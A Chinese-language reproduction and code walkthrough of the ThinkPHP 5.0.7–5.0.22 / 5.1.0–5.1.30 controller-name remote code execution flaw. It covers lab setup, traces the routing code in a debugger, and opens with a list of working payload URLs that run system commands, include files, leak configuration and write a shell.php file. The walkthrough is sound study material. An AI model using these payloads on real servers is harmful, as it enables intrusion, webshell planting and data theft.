

目录

- 一、介绍
 - 1、简介
 - 2、版本
 - 3、搭建环境
 - 4、参考链接
- 二、复现
 - 1、Payload
 - 2、效果
- 三、分析
- 四、流程图

一、介绍

1、简介

该漏洞存在于ThinkPHP底层没有对控制器名进行很好的合法性校验，导致在未开启强制路由的情况下，用户可以调用任意类的任意方法，最终导致的命令执行漏洞。

2、版本

```
5.0.7 <= ThinkPHP <= 5.0.22
5.1.0 <= ThinkPHP <= 5.1.30
```

3、搭建环境

- 1) 获取测试环境
`composer create-project --prefer-dist topthink/think ThinkPHP_5.1.30`
- 2) 修改composer.json文件中的require字段

```
"require": {
    "php": ">=5.6.0",
    "topthink/framework": "5.1.10"
},
```
- 3) 执行composer更新语句
`composer update`

4、参考链接

<https://www.cnblogs.com/yokan/p/16102644.html>

二、复现

1、Payload

```
5.0.x:
?s=index/think\config/get&name=database.username    # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg      # 包含任意文件
?s=index/\think\Config/load&file=../../t.php       # 包含任意.php文件
?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.1.x
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?
s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
```

2、效果

← → ↻ ⚠ 不安全 | x.com/?s=index/think\config/get&name=database.username

root

三、分析

1、传入Payload，在App.php文件中run函数中调用routeCheck函数位置（URL路由检测）下断点，开启Debug。

```
?s=index/think\config/get&name=database.username
```

```
102         // 获取应用调度信息
103         $dispatch = self::$dispatch;
104         if (empty($dispatch)) {
105             // 进行URL路由检测
106             $dispatch = self::routeCheck($request, $config);
107         }
108         // 记录当前调度信息
109         $request->dispatch($dispatch);
110     }
```

2、跟进routeCheck函数（功能：路由检测），这里调用了path函数。

```
/**
 * URL路由检测（根据PATH_INFO）
 * @access public
 * @param \think\Request $request
 * @param array $config $config: {app_host => "",
 * @return array
 * @throws \think\Exception
 */
public static function routeCheck($request, array $config) $
{
    $path = $request->path(); $request: {instance => think
    $depr = $config['pathinfo_depr'];
    $result = false;
```

3、跟进path函数（功能：获取当前请求URL的pathinfo信息），这里调用了pathinfo函数。

```
/**
 * 获取当前请求URL的pathinfo信息(不含URL后缀)
 * @access public
 * @return string
 */
public function path()
{
    if (is_null($this->path)) { $this: {instance => think\Request, ho
        $suffix = Config::get(name: 'url_html_suffix'); $suffix: "ht
        $pathinfo = $this->pathinfo();
        if (false === $suffix) {
```

4、跟进pathinfo函数（功能：获取当前请求URL的pathinfo信息），这里通过GET方法接收了配置文件中定义的'var_pathinfo'参数。

```

/**
 * 获取当前请求URL的pathinfo信息（含URL后缀）
 * @access public
 * @return string
 */
public function pathinfo()
{
    if (is_null($this->pathinfo)) { $this: {instance => think\Request,
    if (isset($_GET[Config::get( name: 'var_pathinfo')])) { $_GET: {
        // 判断URL里面是否有兼容模式参数
        $_SERVER['PATH_INFO'] = $_GET[Config::get( name: 'var_pathinfo'
        unset($_GET[Config::get( name: 'var_pathinfo')]);
    } elseif (IS_CLI) {
        // CLI模式下 index.php module/controller/action/params/...
        $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER
    }
}

```

5、全局搜索 'var_pathinfo'，可以看到配置文件中定的值是 's'，也就是我们URL中传入的参数名。

在文件中查找 在 3 个文件中有 5 个匹配项 ☐ 文件掩码(A):

Q: var_pathinfo

在项目 (P) 模块 (M) 目录 (D) 范围 (S) :udy2018\PHPTutorial\WWW\Thinkl

匹配项	文件	行号
'var_pathinfo' => 's',	config.php	80
'var_pathinfo' => 's',	convention.php	72
if (isset(\$_GET[Config::get(var_pathinfo)])) {	Request.php	382
\$_SERVER['PATH_INFO'] = \$_GET[Config::get(var_pathinfo)];	Request.php	384
unset(\$_GET[Config::get(var_pathinfo)]);	Request.php	385

config.php application

```

76 // URL设置
77 // +-----+
78
79 // PATHINFO变量名 用于兼容模式
80 'var_pathinfo' => 's',
81 // 兼容PATH_INFO获取
82 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT
83 // pathinfo分隔符
84 'pathinfo_depr' => '/',
85 // URL伪静态后缀
86 'url_html_suffix' => 'html',

```

6、在函数最后是返回了pathinfo变量的值，也就是 index/think/config/get。

```
}
return $this->pathinfo(), $this: {instance => think\Request, hook => [0], method => null, domain
}

/**
 * 获取当前请求URL的pathinfo信息(不含URL后缀)
 * @access public
 * @return string
 */
public function path()
{
    think > Request > pathinfo()
}

index.php x index.php x
控制台 输出
变量
est.php:403, t + 评估表达式(Enter)或添加监视(Ctrl+Shift+Enter)
est.php:415, t -
php:535, think
php:106, think
php:18, requi
pathinfo = "index/think/config/get"
path = null
routeInfo = (数组) [0]
dispatch = (数组) [0]
```

7、pathinfo函数执行完毕后，将结果赋值给了path函数中的\$spathinfo变量；\$spathinfo经过过滤条件后，将值赋给了\$path，并返回。

```
public function path()
{
    if (is_null($this->path)) { $this: {instance => think\Request, hook => [0], method => null, domain => null,
        $suffix = Config::get( name: 'url_html_suffix'); $suffix: "html"
        $spathinfo = $this->pathinfo(); $spathinfo: "index/think/config/get"
        if (false === $suffix) {
            // 禁止伪静态访问
            $this->path = $spathinfo;
        } elseif ($suffix) {
            // 去除正常的URL后缀
            $this->path = preg_replace( pattern: '/\.' . ltrim($suffix, characters: '.') . '$/i', replacement: '', $path);
        } else {
            // 允许任何后缀访问
            $this->path = preg_replace( pattern: '/\.' . $this->ext() . '$/i', replacement: '', $spathinfo); $spathinfo:
        }
    }
    return $this->path; $this: {instance => think\Request, hook => [0], method => null, domain => null, url =>
}

think > Request > path()
index.php x index.php x
控制台 输出
变量
est.php:427, t + 评估表达式(Enter)或添加监视(Ctrl+Shift+Enter)
p:535, think
p:106, think
t+向上箭.. x >>
pathinfo = "index/think/config/get"
path = "index/think/config/get"
routeInfo = (数组) [0]
```

8、以上执行完毕后，程序回到了routeCheck函数，\$path也就赋值成功，就是index/think/config/get。

```
public static function routeCheck($request, array $config) $config: {app
{
    $path = $request->path(); $path: "index/think/config/get" $request
    $depr = $config['pathinfo_depr']; $config: {app_host => "", app_de
    $result = false;
    // 路由检测
```

9、程序向下执行，进入路由检测缓解，调用了parseUrl函数对路由进行了处理。

```
// 路由检测 (根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']); $request:
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; $mu
if ($must && false === $result) { $must: false
    // 路由无效
    throw new RouteNotFoundException();
}
}
if (false === $result) {
    // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
    $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); $config: {ap
}
return $result;
```

App > routeCheck()

php x index.php x

控制台 输出

变量

571, think + 评估表达式(Enter)或添加监视(Ctrl+Shift+Enter)

106, think -

18, requi

17, {mai

向上箭...

\$check = true

\$config = (数组) [65]

\$depr = "/"

\$file = "route"

\$files = (数组) [1]

\$must = false

\$path = "index/think\config/get"

10、跟进到parseUrl函数，其中调用了parseUrlPath函数将URL分割并以数组格式返回。

```
public static function parseUrl($url, $depr = '/', $autoSearch = false) $autoSearch: false
{
    if (isset(self::$bind['module'])) {
        $bind = str_replace( search: '/', $depr, self::$bind['module']);
        // 如果有模块/控制器绑定
        $url = $bind . ('.' != substr($bind, offset: -1) ? $depr : '') . ltrim($url, $depr);
    }
    $url = str_replace($depr, replace: '|', $url); $depr: "/"
    list($path, $var) = self::parseUrlPath($url); $url: "index/think\config/get"
    $route = [null, null, null];
}
```

```
private static function parseUrlPath($url) $url: "index/think\config/get"
{
    // 分隔符替换 确保路由定义使用统一的分隔符
    $url = str_replace( search: '|', replace: '/', $url);
    $url = trim($url, characters: '/');
    $var = []; $var: [0]
    if (false != strpos($url, needle: '?')) {
        // [模块/控制器/操作?]参数1=值1&参数2=值2...
        $info = parse_url($url);
        $path = explode( separator: '/', $info['path']); $path: {"index", "think\config", "get"}[3]
        parse_str($info['query'], &result: $var);
    } elseif (strpos($url, needle: '/')) {
        // [模块/控制器/操作]
        $path = explode( separator: '/', $url);
    } else {
        $path = [$url]; $url: "index/think\config/get"
    }
    return [$path, $var]; $path: {"index", "think\config", "get"}[3] $var: [0]
}
```

11、执行完毕后，回到了parseUrl函数中，为构造器进行了赋值。

```
} else {  
    // 解析控制器  
    $controller = !empty($path) ? array_shift(&array: $path) : null;  
}  
// 解析操作
```

12、最后parseUrl函数返回了\$route变量。

```
}  
}  
return ['type' => 'module', 'module' => $route]; $route: {"index", "think\config", "get"}[3]
```

13、routeCheck函数（路由检测）至此也执行完毕，返回了数组。

```
}  
return $result; $result: {type => "module", module => [3]}[2]  
}  
/**
```

14、回到App类的run函数中，此时\$dispatch变量的值也就成了刚刚返回的数组数据。

```
// 进行URL路由检测  
$dispatch = self::routeCheck($request, $config); $config: {app_host => "", app_d  
}  
// 记录当前调度信息  
$request->dispatch($dispatch); $dispatch: {type => "module", module => [3]}[2] $r
```

变量

- \$config = (数组) [65]
- \$dispatch = (数组) [2]
 - type = "module"
 - module = (数组) [3]
 - 0 = "index"
 - 1 = "think\config"
 - 2 = "get"

15、继续向下执行，调用了exec函数处理\$dispatch。

```
$data = self::exec($dispatch, $config); $config: {app_host => "", app_debug =>  
} catch (HttpResponseException $exception) {  
    $data = $exception->getResponse();  
}
```

16、跟进到exec函数，这里对\$dispatch的类型进行了判断，可以看到上面圈出的\$dispatch的type为module，此时也就进入到了module的流程中。

```
protected static function exec($dispatch, $config) $config: {a
{
    switch ($dispatch['type']) {
        case 'redirect':
            // 执行重定向跳转
            $data = Response::create($dispatch['url'], type: 're
            break;
        case 'module':
            // 模块/控制器/操作
            $data = self::module($dispatch['module'], $config,
            break;
```

17、跟进到module函数（功能：执行模块）

```
/**
 * 执行模块
 * @access public
 * @param array $result 模块/控制器/操作
 * @param array $config 配置参数 $config: {app_host => "", app_deb
 * @param bool $convert 是否自动转换控制器和操作名 $convert: null
 * @return mixed
 */
public static function module($result, $config, $convert = null)
{
    if (is_string($result)) { $result: {"index", "think\config",
        $result = explode( separator: '/', $result);
    }
    $request = Request::instance();
```

18、接着通过获取到module的内容并进行判断，如果为空，就将\$available设置为true。


```

if ($config['app_multi_module']) {
    // 多模块部署
    $module = strip_tags(strtolower(string: $result[0] ?: $config['default_module'])); $module: "index"
    $bind = Route::getBind( type: 'module'); $bind: null
    $available = false; $available: false
    if ($bind) {
        // 绑定模块
        list($bindModule) = explode( separator: '/', $bind); $bind: null
        if (empty($result[0])) { $result: {"index", "think\config", "get"}[3]
            $module = $bindModule;
            $available = true;
        } elseif ($module == $bindModule) {
            $available = true;
        }
    }
    } elseif (!in_array($module, $config['deny_module_list']) && is_dir( filename: APP_PATH . $module)) { $config
        $available = true; $available: false
    }
}

```

19、正因为上面\$available为true了，后面对模块初始化时才不会报错。

```

// 模块初始化
if ($module && $available) { $available: true~
    // 初始化模块
    $request->module($module);
    $config = self::init($module); $module: "index"
    // 模块请求缓存检查
    $request->cache($config['request_cache'], $config['request_cache_expire'], $config['request_cache_except']);
} else {
    throw new HttpException( statusCode: 404, message: 'module not exists:' . $module);
}

```

20、程序向下执行，获取到控制器名并赋值给\$controller，随后获取操作名，并进行请求。

```

// 是否自动转换控制器和操作名
$conver = is_bool($conver) ? $conver : $config['url_convert'];
// 获取控制器名
$controller = strip_tags( string: $result[1] ?: $config['default_controller']); $controller: "think\config"
$controller = $conver ? strtolower($controller) : $controller;

// 获取操作名
$actionName = strip_tags( string: $result[2] ?: $config['default_action']); $actionName: "get" $config:
$actionName = $conver ? strtolower($actionName) : $actionName; $conver: true

// 设置当前请求的控制器、操作
$request->controller(Loader::parseName($controller, type: 1))->action($actionName); $actionName: "get"

```

21、module函数的最后，调用了invokeMethod函数返回了该方法。

```

Hook::listen( tag: 'action_begin', &params: $call);

return self::invokeMethod($call, $vars); $call: {think\Config, "get"}[2] $vars: [0]
}

```

22、跟进到invokeMethod函数（功能：调用反射执行类的方法），其中通过ReflectionMethod函数去构造一个映射，然后调用bindParam函数对其余参数进行解析。

```

/**
 * 调用反射执行类的方法 支持参数绑定
 * @access public
 * @param string|array $method 方法
 * @param array $vars 变量
 * @return mixed
 */
public static function invokeMethod($method, $vars = []) $method: {think\Config, "get"}[2] $vars: [0]
{
    if (is_array($method)) {
        $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $class: {config
        $reflect = new \ReflectionMethod($class, $method[1]); $class: {config => [1], range => "_sys_"}
    } else {
        // 静态方法
        $reflect = new \ReflectionMethod($method); $method: {think\Config, "get"}[2]
    }
    $args = self::bindParams($reflect, $vars); $reflect: {name => "get", class => "think\Config"}[2]
}

```

23、跟进到bindParams函数（绑定参数），函数的最后是返回了\$args变量，也就是我们传入的参数。

```

/**
 * 绑定参数
 * @access private
 * @param \ReflectionMethod|\ReflectionFunction $reflect 反射类
 * @param array $vars 变量
 * @return array
 */
private static function bindParams($reflect, $vars = []) $reflect
{
    if (empty($vars)) { $vars: [0]

```

```

    }
}
return $args; $args: {"database.username", ""}[2]
}
valueName = (数组) [2]
01 0 = "database.username"
01 1 = ""
/**
 * 获取参数值
 * @access private 添加为内联监视

```

24、回到了invokeMethod函数中，程序继续向下执行，在函数的最后是调用了Reflect类的invokeArgs函数进行执行。

```
// 静态方法
$reflect = new \ReflectionMethod($method); $method: {think\Config, "ge
}
$args = self::bindParams($reflect, $vars); $args: {"database.username", ""

self::$debug && Log::record( msg: '[ RUN ] ' . $reflect->class . '->' . $ref
return $reflect->invokeArgs( object: isset($class) ? $class : null, $args);
}
```

25、跟进到了Config类的get函数（获取配置参数），因为Payload中指定的是config控制器，并通过get函数操作，最后在指定的作用域（也就是sys）中获取到对应参数的值（也就是database.username）。

```
/**
 * 获取配置参数 为空则获取所有配置
 * @param string $name 配置参数名（支持二级配置 .号分割）
 * @param string $range 作用域
 * @return mixed
 */
public static function get($name = null, $range = '') $name: {"database", "username"}[2] $range: "_sys_"
{
    $range = $range ?: self::$range;

    // 无参数时获取所有
    if (empty($name) && isset(self::$config[$range])) {
        return self::$config[$range];
    }

    if (!strpos($name, 'needle: '.')) {
        $name = strtolower($name);
        return isset(self::$config[$range][$name]) ? self::$config[$range][$name] : null;
    } else {
        // 二维数组设置和获取支持
        $name = explode( separator: '.', $name, limit: 2);
        $name[0] = strtolower($name[0]);
        return isset(self::$config[$range][$name[0]][$name[1]]) ? self::$config[$range][$name[0]][$name[1]] : null;
    }
}

think > Config > get()
index.php
控制台 输出
量
评估表达式(Enter)或添加监视(Ctrl+Shift+Enter)
$Name = (数组) [2]
  0 = "database"
  1 = "username"
$Range = "_sys_"
```

25、最后module也执行完成了，回到exec函数，并在函数的最后返回了执行结果。

```
}
return $data; $data: "root"
}
```

四、流程图

此图为网上5.1.30的流程图，原理和5.0.x一致。

